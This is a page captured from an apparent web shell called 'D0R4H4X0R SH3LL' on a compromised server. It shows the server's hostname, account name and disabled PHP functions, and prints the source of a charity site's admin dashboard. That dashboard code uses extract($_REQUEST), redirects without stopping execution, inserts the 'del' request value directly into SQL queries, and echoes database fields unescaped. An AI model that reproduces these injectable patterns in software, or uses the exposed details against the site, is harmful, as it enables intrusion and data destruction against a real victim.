D0R4H4X0R SH3LL
Server Information
Server: |
LiteSpeed |
System: |
Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64 |
User: |
equalcompa ( 1022 ) |
PHP Version: |
8.2.28 |
Python Version: |
Python is not available |
Disabled Functions: | Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/dashboard.php
<?php
session_start();
extract($_REQUEST);
$admin=$_SESSION['admin_logged_in'];
if($admin=="")
{
header('location:index.php');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="author" content="Admin Portal" />
<meta name="robots" content="index, follow" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Dashboard : Admin Portal Portal" />
<meta property="og:title" content="Dashboard : Admin Portal Portal" />
<meta property="og:description" content="Dashboard : Admin Portal Portal" />
<meta property="og:image" content="../wp-content/uploads/2021/08/logo-192.jpg"/>
<meta name="format-detection" content="telephone=no">
<title>Equal</title>
<!-- Favicon icon -->
<link rel="icon" type="image/png" sizes="16x16" href="../wp-content/uploads/2021/08/logo-192.jpg">
<link href="./vendor/jqvmap/css/jqvmap.min.css" rel="stylesheet">
<link rel="stylesheet" href="./vendor/chartist/css/chartist.min.css">
<link href="./vendor/bootstrap-select/dist/css/bootstrap-select.min.css" rel="stylesheet">
<link href="./vendor/owl-carousel/owl.carousel.css" rel="stylesheet">
<link href="./css/style.css" rel="stylesheet">
</head>
<body>
<!--*******************
Preloader start
********************-->
<div id="preloader">
<div class="sk-three-bounce">
<div class="sk-child sk-bounce1"></div>
<div class="sk-child sk-bounce2"></div>
<div class="sk-child sk-bounce3"></div>
</div>
</div>
<!--*******************
Preloader end
********************-->
<!--**********************************
Main wrapper start
***********************************-->
<div id="main-wrapper">
<!--**********************************
Nav header start
***********************************-->
<div class="nav-header">
<a href="./" class="brand-logo">
<img src="../wp-content/uploads/2021/08/logo-192.jpg" class="logo-abbr" style="height:50px;width:auto;"/>
<span class="brand-title">Equal Compassion </span>
</a>
<div class="nav-control">
<div class="hamburger">
<span class="line"></span><span class="line"></span><span class="line"></span>
</div>
</div>
</div>
<!--**********************************
Header start
***********************************-->
<div class="header">
<div class="header-content">
<nav class="navbar navbar-expand">
<div class="collapse navbar-collapse justify-content-between">
<div class="header-left">
<div class="dashboard_bar">
Dashboard
</div>
</div>
<ul class="navbar-nav header-right">
<li class="nav-item dropdown header-profile">
<a class="nav-link" href="#" role="button" data-bs-toggle="dropdown">
<img src="../wp-content/uploads/2021/08/logo-192.jpg" width="20" alt="Equal Compassion"/>
<div class="header-info">
<span>Admin</span>
<small><?php echo $admin; ?></small>
</div>
</a>
<div class="dropdown-menu dropdown-menu-right">
<a href="./logout.php" class="dropdown-item ai-icon">
<svg id="icon-logout" xmlns="http://www.w3.org/2000/svg" class="text-danger" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"></path><polyline points="16 17 21 12 16 7"></polyline><line x1="21" y1="12" x2="9" y2="12"></line></svg>
<span class="ms-2">Logout </span>
</a>
</div>
</li>
</ul>
</div>
</nav>
</div>
</div>
<!--**********************************
Header end ti-comment-alt
***********************************-->
<!--**********************************
Sidebar start
***********************************-->
<?php include('sidebar.php'); ?>
<!--**********************************
Sidebar end
***********************************-->
<!--**********************************
Content body start
***********************************-->
<div class="content-body">
<!-- row -->
<div class="container-fluid">
<div class="row">
<style>.text-black{ padding-bottom:10px; }</style>
<div class="col-xl-3 col-xxl-4 col-lg-4 col-sm-4">
<div class="widget-stat card bg-primary">
<div class="card-body p-4">
<div class="media">
<span class="me-3">
<i class="la la-users"></i>
</span>
<div class="media-body text-white">
<p class="mb-1">Total Blogs</p>
<h3 class="text-white"><?php include('ant.php'); $hj=mysqli_query($con,"select count(*) as cun from blogs"); $rd=mysqli_fetch_assoc($hj); echo $rd['cun']; ?></h3>
<div class="progress mb-2 bg-secondary">
<div class="progress-bar progress-animated bg-light" style="width: 80%"></div>
</div>
<small>For all since day one.</small>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-xxl-4 col-lg-4 col-sm-4">
<div class="widget-stat card bg-primary">
<div class="card-body p-4">
<div class="media">
<span class="me-3">
<i class="la la-users"></i>
</span>
<div class="media-body text-white">
<p class="mb-1">Total Projects</p>
<h3 class="text-white"><?php include('ant.php'); $hj=mysqli_query($con,"select count(*) as cun from projects"); $rd=mysqli_fetch_assoc($hj); echo $rd['cun']; ?></h3>
<div class="progress mb-2 bg-secondary">
<div class="progress-bar progress-animated bg-light" style="width: 80%"></div>
</div>
<small>For all since day one.</small>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-xxl-12">
<div class="card">
<div class="card-body pb-0 pt-sm-3 pt-0">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-header">
<h4 class="card-title">List of blogs</h4>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-responsive-md">
<thead>
<tr>
<th><strong>NO.</strong></th>
<th><strong>Title</strong></th>
<th><strong>Created On</strong></th>
<th></th>
</tr>
</thead>
<tbody>
<?php include('ant.php'); $i=1;
$fs=mysqli_query($con,"select * from blogs order by id desc");
$fg=mysqli_num_rows($fs);
$fgg=$fg;
if($fgg < 1){ echo"<tr><td colspan='6'><strong>No Blog Records Yet.</strong></td</tr>"; }else{
while($rw=mysqli_fetch_assoc($fs)){
?>
<tr>
<td><strong><?php echo $i++; ?></strong></td>
<td><div class="d-flex align-items-center">
<img src="../admin-portal/<?php echo $rw['cover_image']; ?>" class="rounded-lg me-2" width="24" alt="Admin Portal"/> <span class="w-space-no"><?php echo $rw['title']; ?><br><b>Brief: </b><?php echo $rw['brief']; ?></span></div></td>
<td><?php echo $rw['post_date']; ?></td>
<td>
<div class="d-flex">
<a href="estud.php?e=<?php echo $rw['id']; ?>" class="btn btn-primary shadow btn-xs sharp me-1"><i class="fas fa-pencil-alt"></i></a>
<a href="vstud.php?del=<?php echo $rw['id']; ?>" onclick="return confirm('This action is irreversible. Are you sure you want to delete this record?');" class="btn btn-danger shadow btn-xs sharp"><i class="fa fa-trash"></i></a>
</div>
</td>
</tr>
<?php } }
if(isset($_REQUEST['del'])){
$sa="INSERT INTO trash (id, cover_image, title, brief,paragraphs,gallery_images,post_date,created_at)
SELECT id, cover_image, title, brief,paragraphs,gallery_images,post_date,created_at FROM blogs WHERE id = '".$_REQUEST['del']."'";
if(mysqli_query($con,$sa)){
if(mysqli_query($con,"delete from blogs where id='".$_REQUEST['del']."'")){
echo "<script>showPopup('Record DELETED successfully!', 'success');</script>";
} else {
echo "<script>showPopup('Error deleting record. Please try again.', 'error');</script>";
}
}
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--**********************************
Content body end
***********************************-->
<!--**********************************
Footer start
***********************************-->
<div class="footer">
<div class="copyright">
<p>Copyright © <?php echo date('Y'); ?> Equal Compassion & Powered by <a href="tel:+256726008395" target="_blank">Sydney.</a> </p>
</div>
</div>
<!--**********************************
Footer end
***********************************-->
<!--**********************************
Support ticket button start
***********************************-->
<!--**********************************
Support ticket button end
***********************************-->
</div>
<!--**********************************
Main wrapper end
***********************************-->
<!--**********************************
Scripts
***********************************-->
<!-- Required vendors -->
<script src="./vendor/global/global.min.js"></script>
<script src="./vendor/bootstrap-select/dist/js/bootstrap-select.min.js"></script>
<script src="./js/custom.min.js"></script>
<!-- Chart piety plugin files -->
<script src="./vendor/peity/jquery.peity.min.js"></script>
<!-- Apex Chart -->
<script src="./vendor/apexchart/apexchart.js"></script>
<script src="./vendor/owl-carousel/owl.carousel.js"></script>
<!-- Dashboard 2 -->
<script src="./js/dashboard/dashboard-4.js"></script>
<script src="./js/deznav-init.js"></script>
<script>
jQuery(document).ready(function(){
setTimeout(function(){
dezSettingsOptions.version = 'dark';
new dezSettings(dezSettingsOptions);
}, 200);
});
function carouselReview(){
jQuery('.testimonial-one').owlCarousel({
loop:true,
autoplay:true,
margin:20,
nav:false,
rtl:true,
dots: false,
navText: ['', ''],
responsive:{
0:{
items:3
},
450:{
items:4
},
600:{
items:5
},
991:{
items:5
},
1200:{
items:7
},
1601:{
items:5
}
}
})
}
jQuery(window).on('load',function(){
setTimeout(function(){
carouselReview();
}, 1000);
});
</script>
</body>
</html>
D0R4H4X0R SH3LL